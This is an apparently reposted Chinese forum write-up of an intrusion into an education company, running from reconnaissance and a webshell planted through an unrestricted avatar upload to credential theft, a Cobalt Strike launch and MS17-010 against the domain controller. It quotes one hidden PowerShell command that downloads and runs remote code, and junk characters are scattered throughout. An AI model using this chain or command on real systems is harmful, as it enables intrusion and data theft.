中国网络渗透测试联盟

标题: 渗透实战 | 从外网直接打到内网全过程 [打印本页]
作者: admin    时间: 2024-3-1 19:41
标题: 渗透实战 | 从外网直接打到内网全过程

7 K7 {! e- E7 _% Z; V 这次渗透是一个从0到1，从外网到拿下域控的实战过程，希望可以给大家一些思路( C0 x% p6 U& a! P& v- C

4 e# y* u' |) J4 R) q

# @) H0 ]9 O4 P- x6 i   . N1 Z0 t4 d% t: a2 s. Q, z

* Z: {) H, L* Z, K/ Y' v

" I6 T5 ]6 ~' m3 o6 _9 r 正文/ @. `' F: `) N/ B# @) T0 q; B( O1 [

$ M8 I# M& N3 j; Z: M& Q2 |1 j

: @2 L3 k$ l! Z- J$ q: \   0 h9 h2 t( n, I- W1 S* l; m5 U: ?

5 s v6 E. W- k' ` o' Z

; Z2 J& n' C7 B5 { 目标：www.xxxx.com(一家教育机构)
$ M# F, o& G& p# p" ?打开是一个登录框，只能是手机号+密码或者手机号+验证码且并未开放注册功能 - c# D/ X9 N, m6 I

) w1 T/ t4 _ g" m% y4 G. f

) z" O+ n) F$ D/ w1 F vshapes= 5 a. D+ j! ?4 A7 I, z+ P; h: B

5 F3 L9 k$ b# y

0 x7 _, h8 N. q/ w( ~; `# [8 y4 W0 s 进行了简单的信息搜集
# B; }5 _) O0 I5 x
7 Y& u/ l) z! B/ \" R+ c' o " }3 c7 c% ~: m9 {- f

# D8 J4 t) d! _

! {1 w: O2 f8 ~% m1 U 子域名搜集 : J$ | L8 P h; h- J2 ^

% @0 ]9 T; p! A- R# a6 u; Y& m

6 s% L( k2 b# ~; p6 r% k vshapes= 5 S: F5 ?8 h; o

6 H, |; f- M% \

8 x* p9 K5 t! P; @! q/ U! P+ K* z fofa找资产
. s9 x3 \. [4 ^. d! P
& W# ]- N( i: _" G* G " T, L d- j4 r% b# `; X

, |' h7 k5 w. g8 B6 c

9 p6 G' }! \# k vshapes=9 h9 V. b' _! R, Y9 W

2 H- G% B: @& O6 v, h- X* R

# B) g; I: K, H8 n3 r 一共七个资产。去重之后只有两个。
' e8 t1 N1 b3 x1 V3 r7 @1 W
( Q% b. @( O1 ^ J* y6 _" e * O- f- Z' d4 c" t& s w8 c

8 C* M4 q$ p+ w0 p2 {& \

4 d3 |% Y$ s9 U$ M6 K& m 目录探测! J/ H* b* L5 V: r# r' ?# o3 {

! V: V. g. b: e: P2 z0 }0 `

) K3 N) T) g ~! N vshapes=: } S1 h1 f! }% m: \2 z

$ k$ [. U2 t c' h0 _

3 @7 |0 D/ d) M- Z+ T. c! c9 } 我尝试了暴力枚举，看有没有弱口令之类的,然而并没有
7 k5 ~3 R( o h% }" ]* X; _
# b' E! n# O x" { 8 U4 i$ O( R; M

7 E* @3 m' }; E4 ^) L) W

0 @1 F/ D. u3 F; O& u# ^ 我又尝试了通过修改返回包来绕过登录界面4 d- P- r, G% z

V& Q" B1 s7 }: j

/ t) U! n5 W' {- m" u/ S! R vshapes=9 r8 O) n5 k0 e

2 [6 b- V' U7 _

9 C' Y; X# k) j7 g& N% a) t 还是不行，尝试注入无果) l3 }' ?* T- O

% n* C" W4 b& c/ t

/ ?& x+ ] V2 O2 x; G vshapes=/ v1 U6 s+ w9 x. ^- n, Q

! B6 o) e3 M* | K

1 f8 l4 ]- Z* c' a! u 不过我目录探测出了一处Spring信息泄露
( P% ~1 z$ N, P) C! @
) g2 \0 O0 o% [5 \* k- `( | ' T3 ~) [+ E) B: n6 A6 B

2 i1 D i: j+ B+ f1 ^# ?% J

0 b( j3 Y; W# n vshapes=) X' ?: u2 i6 v8 [

3 }& O4 i2 k& s% y/ y, K: r! B

% J- d; f5 y. h# J 尝试Spring RCE无果，想通过trace目录下替换cookie实现登录，但是发现删除了这个目录 ) _2 X( ^' X! N3 U M

; w9 k% u3 d4 w0 G8 R8 H4 H

A. O. N- o! Y* B vshapes=' ~7 g: H2 t" H2 ^* f

, k5 K Z8 m* A+ P

7 J& U g: s6 r, X0 T/ x+ C0 [ 后对公众号进行了简单的信息搜集，针对公众号搜集时，尽量找后面认证过的进行渗透。1 _+ I' ]5 m7 ?# {6 ?+ S

+ i; p( n: c5 B {% D8 U0 X

3 t( j" ~( {% A z- ~1 I5 Q) E3 J vshapes=4 P2 B$ q- ^& R4 c) F4 A

/ h. V* \* d4 O. U

# l6 L* k! o- a5 N0 e s, w8 j. R$ N! N 获取有些师傅到这一步就手机抓包电脑测了。 " p" D d7 q) M( q; p7 G

; p/ ?9 F& s6 _

5 { `8 { f! j: M8 B/ {) q Windows新版微信可以抓取公众号和小程序的包，只需要把IE代理配置一下即可。6 E9 H; t) H- q2 j

2 W2 G# w8 X0 H! M! X

6 x/ z: R$ f7 M& b1 w+ A% q 其中在一个公众号发现了小程序，可以进行注册。" o: s9 ], ?' i$ J

7 `7 ~7 O3 s2 a

, B# V/ {5 r! }3 k+ A$ ~4 G 看到了头像上传，尝试上传获取WebShell , }$ y5 o/ O J. r6 s. o8 M

. y" D1 `/ ~4 H, f

# t3 G, F, _. i- g/ ] vshapes=# e/ |, L* d- Y0 o! j

$ |' p4 @9 l8 V6 f

4 E- j" G9 ~! O2 j 未做任何限制成功GetShell，上了冰蝎马，目录没权限访问 - b) J) B( l ^$ C

% m0 h. ?9 b: ^, p6 g. z

H) t; R5 J6 F vshapes= # |4 w; J- c5 S! ^" j, `8 h

7 q& |; t7 q* N& I

1 S3 ^0 i# m6 e9 {- c 然后上了大马& ~6 H- @! M' c4 s4 ~; h

! w7 L+ O+ f( m' \- W6 s

( y" g% X7 I! C/ Z7 b: U) y! o vshapes= # y" q- }/ A; x3 f* S

& _' `, V- O' I' t

: G$ H: e: B' J+ Y vshapes= ' A' s2 L8 x! f

. B' D* H. x8 C+ j, i5 w v6 {

$ j2 ?( a4 m F. L 通过翻找文件发现数据库账号密码7 a0 B* H" K! {0 ^

: `! r: N# b5 p0 H3 J3 K$ ?5 O

x- d6 b+ h8 u X- ] vshapes=4 u% w- c0 F7 _6 a/ E8 F8 |

6 F/ r6 v( B( v+ |, M

/ x/ ?9 W9 v+ ^1 |9 o# Z/ R1 Z ^$ ` --内网渗透 * g, t: u+ ~2 [* i: y. `

! K7 z+ Y: _" [- M( j& i( D

* f' a6 w) [6 n5 l h) F% c/ i 直接通过powershell执行 cs上线 % l' ~- c3 {2 |6 g. F$ w# ], w7 t6 i' f

2 T5 G' I o3 R. v2 p

5 o- ]- b. a8 \$ {2 l powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://xxxxxxxxxxxxx/a'))"& M0 {/ }. n, P9 Y8 V- W9 g

0 M. f( g+ F0 j

1 m# ?; k7 S5 l& Z1 N3 s vshapes=" w8 \1 H8 l2 t

* Y# C4 o2 }2 E! B `. D

7 B8 l( t3 m" K. w# v 进入内网后，简单的进行一波信息收集，寻找域控并对服务器段进行弱口令爆破 - [3 `- P7 A; \ `

! J, n! n |6 C0 R

5 d' A9 ]% x/ A5 B: Q# f, B vshapes=: U. d% d9 d) f1 N# n+ S

' O! g1 T1 G( ^7 f

" E. U( P4 F( f/ G' k 登录爆破出来的服务器，发现多网卡且存在逻辑隔离。
* j+ W- X) }, a& e0 r
7 A+ E6 n7 l# M4 _0 b
, c, @& j3 ]! C1 ^ : e/ f+ ~# E: i, G$ R9 B( C5 ^6 l! l% {

+ E4 Q" b) Q6 f

9 N# ^: l8 n5 L9 B vshapes= $ A' e: U2 Y% W7 r: c2 a0 ^, T

3 h5 r O F1 S" K

; b9 i6 }2 @2 a7 l# f7 H; C 通过跳扳机能通域控，发现域控server2008且存在ms17010,直接一把梭
: b; b' I3 }+ |/ g# v3 `( O. G
& q- T( |! j* e& J. U) f ' h2 ~# a% V- s

g( |* D. _ z {. r4 [6 V) ^8 T

z! }" O) Q) n- l R3 u vshapes=( f l/ M7 {- \) `; D& `3 C

4 [, i! n- p* M m. ?) h! a) J) t1 E4 A

# G8 M# v! d" Z* v7 j! B$ N" k
4 Y: x9 Y3 t' M7 ^, i
* R5 x& U4 _6 m( z3 _& n$ a D" s- g* o! d5 L7 A, Z! S) m: h

4 y* T- O! i( j, X$ G

9 R6 t$ m: B% D, _   9 s( E' J6 i) o) n; q1 i+ q

) O |, m" Z5 h" T! Y7 }) I

/ a6 L ~9 `$ r* ]0 z- H8 a 小结. |+ W/ P; Z6 D& C" a9 o$ z7 P

. C' H" _$ |8 _: z

+ F' ^! F( y; l$ o   - J8 j; g: e8 b6 _

6 ]6 F( A' e; L/ @' B. M8 Q2 A

4 x6 W+ F/ Y0 ]$ h& l& m 在渗透测试过程中，信息收集很重要，细心和耐心也是不可缺少的，总得来说，这次的渗透测试总的来说比较顺利，希望可以给大家带来一些思路！+ j" r$ c0 W; t9 v% }2 w- S8 y

' ]% E4 \! P6 ^2 K T9 c8 A

c4 W) g. m' ~  8 S% L5 L9 n$ @

7 H8 ?; S4 V3 k5 Q6 V / F/ V+ R! {$ U8 v) ~6 J9 U

9 x6 P0 p; f* B: z+ V 作者：Xm4FDf转载自：https://bbs.ichunqiu.com/thread-57879-1-1.html0 J% _1 B0 e+ n( g5 R7 s3 K

4 f, k( g, b' b) ]. W8 r4 [

9 w d5 N# K- i6 H) m- C5 {  + Z& H3 j4 M1 I! k4 {+ P+ w% R2 q





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2